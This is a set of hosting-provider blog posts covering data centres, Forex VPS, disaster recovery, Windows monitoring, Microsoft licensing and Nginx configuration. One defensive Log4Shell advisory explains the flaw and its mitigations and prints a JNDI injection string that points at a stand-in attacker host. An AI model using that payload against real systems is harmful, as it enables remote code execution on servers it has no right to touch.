RIPE NCC – Internet Country Report: Cyprus, Malta, Israel

The RIPE Network Coordination Centre has recently published an Internet country report for Cyprus, Malta and Israel. We have included a summary of the Report and you may download the full PDF report from the corresponding link at the end of this article.

The RIPE Network Coordination Centre has recently published an Internet country report for Cyprus, Malta and Israel. We have included a summary of the Report and you may download the full PDF report from the corresponding link at the end of this article.

Report Summary

Cyprus, Israel and Malta all have a long history of Internet development that is reflected today in their competitive markets and high penetration rates. Infrastructure and market development continue, with significant ongoing and future investment projects planned.

The networks in each of the three countries benefit from a good level of interconnectivity, and this redundancy provides the overall system with resiliency. This is an especially pertinent issue for Cyprus, Israel and Malta, as all three countries are either islands themselves or rely on connections with islands for their international interconnection, and are particularly vulnerable to bottlenecks or single points of failure as a result. However, we also see that the three countries have a large and diverse number of connections to the global Internet via their upstream providers, which helps mitigate this risk and reduces the potential for disruptions or outages.

Routing is generally optimised, resulting in fast response times, and we see some evidence that local exchange points are being used in order to keep domestic traffic local. However, there are also a few routing anomalies in which quite distant exchange points seem to be favoured over local options, which unnecessarily increases costs,
foreign dependencies and risk of disruption. Similarly, routing decisions to access the domain name system
occasionally send requests to quite distant root name server instances, although we tend to see this balance out when considering more than one root name server.

In comparison with one another, the three countries offer an interesting portrait of the potential influence of regulation: Israel’s Ministry of Communications’ IPv6 requirement for Internet service providers had an immediate and significant impact on IPv6 uptake in the country, while the other two remain at nearly zero capability despite their relatively large amounts of IPv6 address space. Despite high levels of mobile use in all three countries and relatively high IPv4 per capita rates, all three countries – but especially Cyprus and Malta – will need to further invest in IPv6 deployment in order to meet the demands of future growth and emerging technologies. With a relatively small number of players, these countries could make large strides in a relatively short amount of time, given the required commitment from the major network operators.


It’s worth noting that all of the observations in this report are based on active paths, and we cannot know what “hidden” world of backups exists that would automatically take over in the case of any disruptions. Whatever
redundancy does exist would provide the system with even more resiliency.

Source: labs.ripe.net (2021)

Download Report (PDF): https://labs.ripe.net/documents/178/RIPE_NCC_Internet_Country_Report_Cyprus_Israel_Malta_Dec_2021.pdf

NetShop ISP: Year End Review and 2022 Preview

It’s been an exciting year at NetShop ISP and things are moving full speed ahead as we enter into 2022! Here is a recap of what we’ve done to improve your hosting experience as well as a sneak peek into what’s to come in the new year. 

It’s been an exciting year at NetShop ISP and things are moving full speed ahead as we enter into 2022! Here is a recap of what we’ve done to improve your hosting experience as well as a sneak peek into what’s to come in the new year. 

Global Data Centers Expansion

NetShop ISP has grown its network infrastructure considerably over the last two years. From 1 Data center presence, launched in 2004, we have now grown our infrastructure into more than 14 Data centers across 7 countries in 3 Continents:

  • Amsterdam, Netherlands – November 2020
  • Singapore – November 2020
  • Hong Kong – November 2020
  • Los Angeles, United States (1 Data Center)
  • United Kingdom (4 Data Centers)
  • Malta (3 Data Centers)
  • Cyprus (4 Data Centers)

Network Upgrade in Amsterdam, NL Data Center

In August 2021 we announced a network infrastructure upgrade from 1 to 10Gbps in our Amsterdam AMS03 Data Center. Read the PR

New Partnerships

In 2021, NetShop ISP has formed new partnerships in order to extend the portfolio of services and solutions offered to its customers:

ISO9001:2015 Certified

On October 18th, 2021 NetShop ISP has been awarded the ISO 9001:2015 Certification (No. QS.21.038). The internationally recognized certification demonstrates that NetShop ISP successfully meets the needs of our clients through an effective quality management system. (Read PR)

Exhibitions & Webinars

During the year 2021, NetShop ISP has successfully launched various webinars and exhibited in key industry exhibitions:

  • iFX EXPO Dubai – May 2021
  • SiGMA iGathering Cyprus – September 2021
  • Webinar “Algo Trading Forex on a VPS” – September 2021
  • SBC Summit CIS – October 2021
  • iFX EXPO International Cyprus – October 2021
  • SiGMA Europe Malta – November 2021

Upgraded User Interface

A new User Interface (UI) for myNetShop Self-service portal has started in 2021 and will be fully completed in Q1 2022. The new UI is to improve the user experience for ordering and managing Cloud, Dedicated Servers, SSL Certificates, VPN, Email Services, Domain Names and Web Hosting.

2022 Preview: A lot more to come

Business development never stops. As per our commitment for continuous improvement of our hosting services, we are happy to unfold some of our plans for 2022:

  • New Data Centers for Cloud hosting and Bare-metal Dedicated Servers
  • Bandwidth Capacity Upgrade in Cyprus and Malta Network Infrastructure
  • Partners Program – More incentives to come
  • myNetShop UI Improvements Development
  • Webinars and Exhibitions
  • … and more!

On behalf of everyone at NetShop ISP, we wish you a healthy and successful New Year 2022!

4 Benefits of using API for Forex VPS Integration

Windows VPS helps Forex traders to minimize the latency between the trading terminal and the Broker’s trading server. In this article we explain the 4 main benefits of integrating Forex VPS with NetShop ISP REST API.

As explained in a previous article, a Windows VPS helps Forex traders to minimize the latency between the trading terminal and the Broker’s trading server. Moreover it facilitates the uninterrupted execution of bots and expert advisors as the VPS can be online 24/7 without being affected by loss of power or network disconnection of your personal computer.

Why Forex Brokers Offer VPS

A decade ago Forex traders had to search for a VPS provider by their own, install their favorite brokers’ trading terminal and start trading. Nowadays, the landscape has changed as the competition is more aggressive and Brokers need to excel with innovative products and services to their customers.

There are 3 main reasons why a Brokerage decides to offer VPS to their customers:

  1. Value-added service
    Like many bonus and promotions offered to Traders, a Broker’s VPS service can be provided complimentary to customers with high-volume trading accounts.
  2. Improve latency for traders worldwide
    Most brokers today have their trading server hosted in London or Amsterdam, regardless of where they are regulated. As most brokers accept customers from Asia, the use of a VPS will help these remote traders to execute trades with a very low latency.
  3. Extra income
    For startup brokerage firms, VPS service can generate a significant revenue each month. Brokers usually have agreement with VPS providers for a fixed, low monthly fee per VPS which they resell with a markup.

Benefits of Integrating Forex VPS with API

The first step Forex brokers do is to offer VPS to their customers on demand. This means that as soon as trader inquires for the service, the Broker will order it from the VPS provider. As the demand grows it is normal that the Broker won’t be able to cope with the manual ordering way. Here is where the API integration with a Broker’s client portal comes to automate the whole process.

There are 4 main benefits of why to use Forex VPS with API:

  1. White Label & Price Markup
    Traders will not have to deal with an external company (VPS provider) for ordering or support. They will be able to use the Broker’s client portal for ordering and managing their VPS server. Additionally, the broker will be able to setup the price markup once through the integration script.
  2. Apply Logic Conditions
    Most brokers like to offer a VPS in two tiers; Free and Paid. When integrating your client portal with our API, you can create your own logic conditions like setting a minimum trading volume that needs to be met for a client to be eligible for a Free VPS. Customers who don’t meet this volume, will be shown the Paid VPS option.
  3. Automated VPS Orders Setup
    Brokers with growing requests for a VPS will not have to deal with manual orders to the VPS provider. The entire VPS order flow will be automated, from request, to payment and provisioning to the Trader.
  4. Unlimited Payment Gateways
    By using the API integration you will be able to offer your customers the option to pay using all the payment gateways you offer for deposits. Even if the VPS provider can accept payment in Paypal and Wiretransfer, your customers will pay the Broker directly.

Get Started with Forex VPS API

NetShop ISP is offering REST API for seamless solution integration with any Broker. Our Forex VPS infrastructure is designed for ultra low latency with Brokers hosted in London, Amsterdam and Singapore and its fully compatible with Metaquotes MT4, MT5 and cTrader platforms.

Full documentation of our API can be found here.

For more information and to get started contact our Sales department today.

How To Achieve Low Recovery Time Objective (RTO) for Bare-metal and Cloud Servers

In this article, we’ll look at how to achieve low RTO with Disaster Recovery as a Service (DRaaS) to ultimately improve business continuity and resilience in the event of an unexpected failure or disaster.

In the event of a disaster, resuming business operations as quickly as possible and without any detrimental data loss is paramount, so implementing an effective disaster recovery strategy is crucial for businesses of all sizes. In this article, we’ll look at how to achieve low RTO with Disaster Recovery as a Service (DRaaS) to ultimately improve business continuity and resilience in the event of an unexpected failure or disaster.

What is DRaaS

Disaster Recovery as a Service (DRaaS) provides organizations a third-party cloud environment to back up their data and IT infrastructure through an as-a-service subscription model. By opting for DRaaS, businesses forego the huge investment and hassle of setting up and maintaining their Disaster Recovery solution, and instead rely on a service provider for a comprehensive and easily-deployed solution. 

What is RTO

Recovery Time Objective (RTO) is the time interval between a disruption occurring and the point at which your business is back up and running as usual. Time is money after all, so resuming business operations in as little time as possible in the event of a disaster is critical.

Achieving the lowest possible RTO should be a huge priority for businesses when choosing their backup and disaster recovery solutions, and opting for DRaaS makes it attainable.

The importance of low RTO

Reduce financial loss

Every minute that your system is not functional your business is quickly losing revenue – with the cost sometimes being exorbitant. Incurring what could be avoidable financial loss due to a lack of, or an insufficient, DR solution, can be extremely detrimental for any business. NetShop ISP’s DRaaS uses the core of Acronis Cloud Infrastructure, meaning that at the time that a disaster occurs on a live server or device, switching to a backup takes up to just 5 minutes.

Minimize interruption

Excessive interruption to operations can set businesses back in more ways than just financially. Businesses often depend on many different components for efficient operations to ensue. With NetShop’s DRaaS, customers need not worry about reaching any data limitations or bandwidth caps, as the software itself is limitless – so all critical processes can be functional within just 5 minutes.

Prevent damage to your reputation

Whilst disasters do occur, the time in which it takes you to recover is what really matters. Customer trust can be broken quickly, so when disaster strikes it’s important to have an effective solution in place that guarantees low RTO, ultimately causing as little disruption as possible to your clients.

By using Acronis Cloud Infrastructure, our DRaaS solution not only guarantees lower Recovery Time Objectives, but also Automated Data Integrity checks after Restore.

Improved RTO with NetShop ISP’s DRaaS

Our DRaaS makes it achievable for businesses of all sizes, with any budget and even the most limited in-house resources to achieve low RTO through an affordable and flexible subscription model.

Make sure your business is prepared for anything with a DRaaS solution that suits your needs and price range, with the choice of various billing models and cycles.

For more information, chat to one of our Experts.

5 Advantages of Colocation Vs. On Premise Hosting

Choosing the right hosting solution has a huge impact on the efficiency of business operations, so in this article we’ll break down the five biggest advantages of Colocation compared to On Premise Hosting.

Colocation and on premise hosting are two solutions that corporations often have a hard time deciding between. After all, choosing the right hosting solution has a huge impact on the efficiency of business operations, so in this article we’ll break down the five biggest advantages of Colocation compared to On Premise Hosting.

What is Colocation

Colocation, or Colo as it’s often called, is the act of renting space within data centers to house servers and other hardware. Typically all of the equipment housed in Colocation facilities are privately-owned and managed by the businesses, although some Service Providers offer hardware procurement and IaaS too. Colocation data centers usually rent out space per unit (PU), or as quarter, half or full rack, as well as rooftop space in some circumstances.

5 Benefits of Colocation

Infrastructure

Probably the biggest benefit of opting for Colocation over on premise hosting is the fact that you will effectively be moving your equipment into state-of-the-art facilities that already have the necessary resources in place.

Colocation data centers are built for performance, with the capacity to correctly store and maintain high volumes of data, with effective power and cooling systems, and multiple bandwidth and connectivity options. Implementing and maintaining the physical and networking aspects in-house requires a lot of work, whereas opting for Colocation means the key components are readily available as soon as you move in.

Reliability

Colocation facilities are designed to withstand disasters and other incidents like flooding or fires, with stringent precautions being taken to guarantee data and hardware protection. By opting for Colocation hosting, your equipment will also be stored in optimal temperatures with advanced cooling systems to ensure your servers don’t overheat.

Colocation data centers will also have redundant power supplies in place that guarantee business continuity and minimal downtime that can potentially be detrimental to your business. 

Cost-effective

In order to house your servers within your premises safely, a huge investment is required in terms of initial set-up and ongoing maintenance. The costs of building your own facility quickly add up, with many variables that need to be taken into consideration, from physical infrastructure to ongoing energy costs.

Colocation hosting definitely proves a lot more beneficial for your budget as these costs are effectively split between numerous customers. You also won’t be faced with any unexpected expenses, as everything you need will be included in one comprehensive agreed-upon plan.

Security

Colocation data centers offer second-to-none protection of data and equipment, with strict physical and cyber security solutions in place. Servers are kept safe from intruders with multi-level access authorization protocols, 24/7 CCTV and on-site surveillance. Not to mention, precautionary recovery solutions that can keep your business operating in the event of a disaster.

Scalability

With extensive resources already in place, Colocation facilities make it easy for businesses to expand seamlessly in a way that may not be viable when opting for on premise hosting. In terms of both physical space and bandwidth, Colocation offers a simple solution to business development without consuming excessive amounts of time and money.

NetShop ISP’s Global Colocation Solutions   

Our state-of-the-art, fully-compliant data centers in global locations including Cyprus, Malta, the Netherlands, the United Kingdom and Los Angeles provide optimal housing for servers and other hardware, including rooftop space for satellites.  Browse our range of Colocation plans and locations here, or get in touch with our team with any enquiries.

Kicking off the Holiday Season with 10% Discount on Hosting products

Benefit of our exclusive deals on selected hosting services which run from today, 17th December, until the 9th of January 2022!

This year we are joining the holiday craze with Holiday Hosting Deals, just right after the Black Friday & Cyber Monday Week.

Benefit of our exclusive deals on selected hosting services which run from today, 17th December, until the 9th of January 2022!

Get 10% OFF Bare-metal Dedicated Servers

With Dedicated Servers you own 100% of the Server’s Hardware which means your software or website can utilize all of the resources they need to meet your performance and availability / uptime targets.

Coupon Code: HOLIDAYS10OFF

Browse Dedicated Servers

Get 10% OFF Cloud VPS Plans

VPS Servers are ideal if you are looking to host an e-commerce website, deploy VPN for accessing geographically restricted websites, or developing applications that require scalable resources at an affordable cost.

Coupon Code: HOLIDAYS10OFF

Browse Virtual Servers

Get 10% OFF cPanel Web Hosting

With cPanel’s intuitive and responsive interface, you can manage all aspects of your hosting environment from any device without having to install any third-party software on your computer.

Coupon Code: HOLIDAYS10OFF

Browse cPanel Web Hosting plans

Zimbra Latest Versions Not Affected by Log4j Vulnerability

Zimbra announces that the zero-day exploit vulnerability for Log4j (CVE-2021-44228) does not affect the current supported Zimbra versions 9.0.0 and 8.8.15.

This is announcement published by Synacor regarding the zero-day exploit vulnerability for Log4j

After intensive review and testing, Zimbra Development determined that the zero-day exploit vulnerability for Log4j (CVE-2021-44228) does not affect the current supported Zimbra versions 9.0.0 and 8.8.15.

Zimbra Collaboration Server currently uses Log4j version 1.2.16. The cause of the vulnerability is found in the lookup expression feature in Log4j versions 2.0 to 2.17.

Also, the Redhat (CVE-2021-4104) vulnerability does not affect the current Supported Zimbra Collaboration Server versions 9.0.0 and 8.8.15. For this vulnerability to affect the server, it needs JMSAppender and the ability to append configuration files. Zimbra does not use the JMSAppender.

The Zimbra Development team is in the process of upgrading Log4j which is expected to be completed within Q1 2022.

Read more about the Log4j vulnerability and how to protect your organization’s infrastructure.

How To Identify and Protect your Application from Log4Shell Vulnerability

In this article we will help you understand what Apache Log4J is, what the Log4Shell vulnerability can cause, a list of the most popular systems and devices using the Log4j library and, finally, a list of useful links on how to scan and patch your online systems.

On 9th December 2021, a new zero-day vulnerability for Apache Log4j was reported by the Apache Software Foundation which can now tracked under CVE-2021-44228. It is known by the names Log4Shell and LogJam.

The Log4j vulnerability is a zero-day vulnerability. This means it has been published before the relevant vendors can release patches to their software. So workarounds are being used where appropriate while we wait for patches to be released.

In this article we will help you understand what Apache Log4J is, what the Log4Shell vulnerability can cause, a list of the most popular systems and devices using the Log4j library and, finally, a list of useful links on how to scan and patch your online systems.

What is Log4J?

Log4j is a java-based logging package used by developers to log errors in both Linux and Windows platforms.

The Log4j library is frequently in Java applications and is included in Apache frameworks including Apache Struts2, Apache Solr, Apache Druid, APache Flink and Apache Swift.

Currently, Version 1 of the Log4j library is no longer supported and Developers should migrate to the latest version (Log4j 2.16.0).

Read more about Apache Log4j v2 here.

What Does Log4Shell Vulnerability Do?

The Log4Shell vulnerability (CVE-2021-44228) is classified under the highest severity mark and allows an attacker to execute arbitrary code by injecting a sub-string in the form “${jndi:ldap://some.attacker-controlled.site/}” into a logged message.

According to the National Vulnerability Database (NVD), it’s rated as 10.0 CVSSv3 which is the worst possible. If successfully exploited, attackers can conduct a Remote Code Execution (RCE) attack which can be used to compromise servers and online devices.

Which Software and Devices are Vulnerable?

After an extensive research we have summarized a list of websites that present a list of Vendors and Software which are vulnerable to the Log4j 0day threat.

  1. https://github.com/NCSC-NL/log4shell/blob/main/software/README.md
  2. https://www.continuitysoftware.com/blog/centralized-list-of-storage-and-backup-systems-affected-by-zero-day-log4shell-vulnerability-cve-2021-44228/
  3. https://www.bleepingcomputer.com/news/security/log4j-list-of-vulnerable-products-and-vendor-advisories/
  4. https://github.com/cisagov/log4j-affected-db
  5. https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages

How To Discover Log4j within your Infrastructure

The first step you need to do is to check if Log4j is installed anywhere within your infrastructure’s online applications and devices. For this we recommend that you do a file system search for log4j, including searching within EAR, JAR and WAR files.

Sample Commands:

find / -type f -print0 |xargs -n1 -0 zipgrep -i log4j2 2>/dev/null
dpkg -l | grep log4j

How To Protect from Log4j Vulnerability

The first course of action to protect from the Log4j vulnerability is to download & install the latest updates from the software vendors. When a vendor has not provided an update to product, the vulnerability can be mitigated in previous releases of Log4j (2.10 and later) by setting system property “log4j2.formatMsgNoLookups” to “true” or by removing the JndiLookup class from the classpath.

If you are using a software which is not known to be exposed to this vulnerability, you can still use the commands given above, to detect any instances of the Log4j and any dependent packages which may exist within your infrastructure.

More information about the Log4j/2 patch can be found here:

Moreover, IT administrators should consider taking proactive measures within their organizations infrastructure. The recommended Log4Shell proactive measures are:

  1. Block suspicious outbound traffic, such as LDAP and RMI, with the use of a Firewall.
  2. Disable JNDI lookup:
    • Setup log4j2.formatMsgNoLookups=true
    • Remove the JndiLookup file in the log4j-core and restart the service
  3. Disable JNDI
    • Setup spring.jndi.ignore=true

The following article from Naked Security tells you what you need to know, and how to fix it.

https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/

How can NetShop ISP Help You?

Customers with Managed Services and/or Premium SLA can contact us for assistance in detecting and patching your systems so you are protected from the Log4Shell.

Customers with Unmanaged Servers who don’t have the expertise or in-house resources to handle the Log4j vulnerability can still contact us and we will promptly get back to you for the next step.

How To Monitor CPU and Memory Usage on Windows Server

In this article we will demonstrate how you can monitor CPU and Memory consumption in real-time and find out which processes consume the most resources.

This guide applies to the following Windows Server editions: 2012, 2012 R2, 2016 and 2019.

A common headache for System Admins is when a Windows Server becomes sluggish, unresponsive or even shuts down itself. This behaviour is often caused by application processes which demand too many resources for a long period of time that the Windows Server cannot accommodate.

In this article we will demonstrate how you can monitor CPU and Memory consumption in real-time and find out which processes consume the most resources.

Real-time CPU and Memory Monitoring

Below we explain the best 3 ways of monitoring the CPU and Memory usage on a Windows Server.

A. Task Manager

  1. To access Task Manager, right-click the taskbar and then click Task Manager.
  2. Click the Processes tab.
  3. Click the CPU or Memory headers at the top of the table to sort by usage.

The processes consuming more resources are sorted at the top of the list.

CPU and Memory Usage Monitoring with Task Manager

B. Resource Monitor (resmon)

The Resource Monitor application is a Windows utility which allows you to monitor resources.

  1. To access it, open the Run dialogue, type resmon in the text box and hit Enter.
  2. To view CPU usage, click the CPU tab.
  3. Click the Average CPU column to sort by overall CPU usage. If the higher CPU values are not on top, then click the column once more to adjust the sorting from high to low.
CPU and Memory Usage monitoring with Resource Monitor (resmon)

C. Process Monitor by SysInternals

Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity. It combines the features of two legacy Sysinternals utilities; Filemon and Regmon.

  1. Open a web browser from within your Windows Server and download Process Monitor.
  2. Extract the zip archive and double-click the 64-bit or 32-bit executable to run the utility.
Process Monitor by Sysinternals

Hassle-free Windows Server Administration by NetShop ISP

Managed Services are ideal for companies (of any size) with insufficient resources to manage a single or multiple Windows Servers. Our experienced and certified Windows Server administrators will ensure your servers are monitored 24/7 and all updates and security patches are installed.

Furthermore our managed services include the following:

  • Security Hardening
  • OS Troubleshooting
  • Performance Tuning
  • Backups & Disaster Recovery
  • Software Installation
  • Hardware Checks & Replacement
  • DDoS Mitigation
  • Network Administration

Contact us today to learn more about the Managed Services plan which best fits your organization needs.

Microsoft Announces Windows Server 2022 Availability and SPLA Price Increase

Microsoft have now made official to its Partners Network that specific products & licenses will have a price increase effective 1st of January 2022.

Microsoft have now made official to its Partners Network that specific products & licenses will have a price increase effective 1st of January 2022.

Below is the table of products that are impacted by the price increase:

Product FamilyPrice Increase
Windows Remote Desktop SVCS SAL10%
Windows Rights Management Services CAL10%
Windows Server DataCenter Core10%
Windows Server Standard Core10%
Core Infrastructure Svr Ste DC Core7%
Core Infra Svr Ste DC Core5%
Office Professional Plus10%
Office Standard10%
Office Multi Language Pack10%
Project Professional10%
Project Server10%
Project Standard10%
Visio Professional10%
Visio Standard10%
Visio Studio Enterprise10%
Visio Studio Professional10%
Visio Studio Test Professional10%
Microsoft SPLA Price Increase in 2022

Windows Server 2022 FAQ

1. When will Windows Server 2022 be generally available in SPLA?

Windows Server 2022 was generally available in second half of August 2021 and was available in SPLA starting September 2021.

2. How much will Window Server 2022 cost?

The Service Provider License Agreement (SPLA) program will see price changes similar to price changes in commercial licensing:
• Windows Server Standard Edition prices will increase 10%
• Windows Server Datacenter Edition prices will increase 10%
• Windows Server is also available in SPLA as part of CIS suites. Prices for CIS Standard will increase by 5% and for CIS Datacenter by 7%.

New prices will be effective January 1, 2022.

3. Does the price increase affect older editions of Windows Server (2008, 2012, 2016, 2019)?

Yes, as we provision the licenses through SPLA the price increase affects editions older than 2022 as well.

4. Are there any changes to licensing model for Windows Server 2022?

There are no changes to the licensing model for Windows Server 2022 Standard and Datacenter Editions

5. What are the new Remote Desktop Services (RDS) capabilities in Windows Server 2022?

Microsoft expanded its high availability support to the RDS licensing server, allowing customers to deploy multiple licensing servers for additional resiliency. Furthermore, since the launch of Windows Server 2019, Microsoft also introduced a number of new capabilities in web-client and RDS fundamentals.

Customers using RDS have been able to take advantage of improved experience for 4K and ultra-wide monitors and enhanced accessibility with improved screen reader compatibility. Furthermore, customers have seen improvements in resource management.

For example, Users can open resources via web-browser or by downloading .rdp to manage using another client. Finally, RDS supports offline use on internal networks. In addition, improvements to the RDS protocol bring improvements to remote content streaming. An improved display driver model for multisession VMs, and improvements to the protocol’s use of hardware, will mean better graphics performance and reliability for some users.

6. How much will RDS SALs for Windows Server 2022 Cost?

RDS SAL prices will increase by 10%. New prices will be effective January 1, 2022.


7. I am currently using an older version of Windows Server. Can I upgrade?

Yes, upgrades are possible between Microsoft Windows Server editions. Please contact our Customer Service team with information about your current edition so we can advise you further.

How To Achieve Ultra Low Latency – A Guide for Forex Brokers and Liquidity Providers

NetShop ISP’s dedicated Forex Hosting Solutions cater to clients seeking to directly access and communicate with Liquidity Providers and other financial data partners in global Equinix data centers. In this article we provide insights on how FX Brokers and LPs can achieve ultra-low latency through their infrastructure.

Since the rapid incline of high-frequency trading in the early 2000’s, low latency has been a focal point amongst financial markets. Cutting-edge technology has seen tick-to-trade become the metric that matters – with intervals less than just one microsecond meaning that latency has subsequently been replaced with ultra-low latency (ULL) in liquid markets.

Related Article: How to start trading Forex with low latency

Achieving ultra-low latency cannot be attained by any single product, but rather a combination of both technology and strategic networking decisions required in order to create the optimal trading environment. That’s why, in this article, we’ve broken down all of the necessary components needed for faster trading operations.

How your trading strategy affects ultra-low latency

Certain trading strategies, like algorithmic trading models for instance, are completely dependent on ultra-low latency to enable the seamless execution of tens of thousands of trades per second. With trading infrastructure for latency-sensitive strategies requiring a substantial investment, it’s important to assess whether the costs of achieving ultra-low latency are worthwhile in terms of your overall trading strategy.

Distinguishing between latency sensitivity and latency dependency is the first step in ascertaining the infrastructure required to execute your trading strategies, as there is a stark difference between the two.

A latency-sensitive strategy is one in which the execution of faster trades certainly generates a higher return, but can still be accomplished without ultra-low latency. Generally, these strategies are built over multiple markets, making ultra-low latency for each exchange difficult to achieve due to market fragmentation. In this case, certain network decisions like choosing quality connections between data centers can heavily reduce latency.

In contrast, ultra-low latency is fundamental for latency-dependent strategies, where the loss of a single nanosecond could be detrimental to a trade’s successful execution. These strategies are practical in a single-market situation, where tick-to-trade optimization can be implemented between your infrastructure and the exchange.

Infrastructure for ultra-low latency

In trading, latency is defined by the time delay between any two points of an infrastructure. It’s crucial to consider tick-to-trade latency when building your trading architecture, as the trade performance metric denotes the time interval between receiving market data and sending the trading order. A strong emphasis on the networking between your hardware and that of the trading exchange is essential when evaluating this latency measure.

Although expensive, colocation and market data feeds directly from the exchanges are often required to achieve ultra-low latency. Put simply, the distance in which data has to travel directly corresponds with the amount of time it takes to be received. Thus, to reduce physical distance, many firms opt for colocation of their rack space in the same data centers as exchanges, and cross-connects to increase performance. Additionally, by receiving exchange direct-feed data rather than market data via consolidated feeds from SIPs, latency can be further reduced in order to achieve ULL.

Hardware must also be considered when evaluating network latency, with new hardware potentially contributing to 50% less latency. The network switches at each point of the trading infrastructure play a crucial role for tick-to-trade latency, as they manage how data is communicated across the network and therefore are a key component in aligning your network to meet trading opportunities with ULL.

Interconnected Global Network Infrastructure  

NetShop ISP’s dedicated Forex Hosting Solutions cater to clients seeking to directly access and communicate with Liquidity Providers and other financial data partners in global Equinix data centers. Available for both start-ups and larger financial entities, our solution offers a premium environment for any Brokerage looking to achieve ultra-low latency and optimal hosting of their MT4/MT5 and cTrader servers.

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How To Increase File Upload Size in Nginx Web Server

One of the most common errors system admins encounter is when users complain that their file upload couldn’t complete. In this article, we will demonstrate how to limit file upload size in Nginx.

In this article, we will demonstrate how to limit file upload size in Nginx. One of the most common errors system admins encounter is when users complain that their file upload couldn’t complete. The error associated with this issue is client intended to send too large body and can be found in /var/log/nginx/error.log.

Apart from the need to increase the file upload size, webmasters or sysadmins need to restrict the file upload size to prevent some types of denial-of-service (DOS) attacks.

By default, Nginx has a limit of 1MB for file uploads. The directive responsible for this is the client_max_body_size which is part of the Nginx’s ngx_http_core_module.

In order to change the default 1MB limit, you need to use the directive in /etc/nginx/nginx.conf file as follows:

  1. Set in http block (affects all virtual hosts)
http {
    ...
   
 client_max_body_size 100M;
}  

2. Set in server block (affects a particular virtual host)

server {
    ...
 
   client_max_body_size 100M;
}

3. Set in php block (affects all php files within a site/app)

location ~ \.php$ { 
    ...
  
    client_max_body_size 100M;
} 

Once you do the necessary changes, save the nginx.conf file and restart the Nginx web server to apply the changes, as follows:

nginx -t // dry-run to ensure no syntax errors exist
systemctl restart nginx // restart to apply the saved changes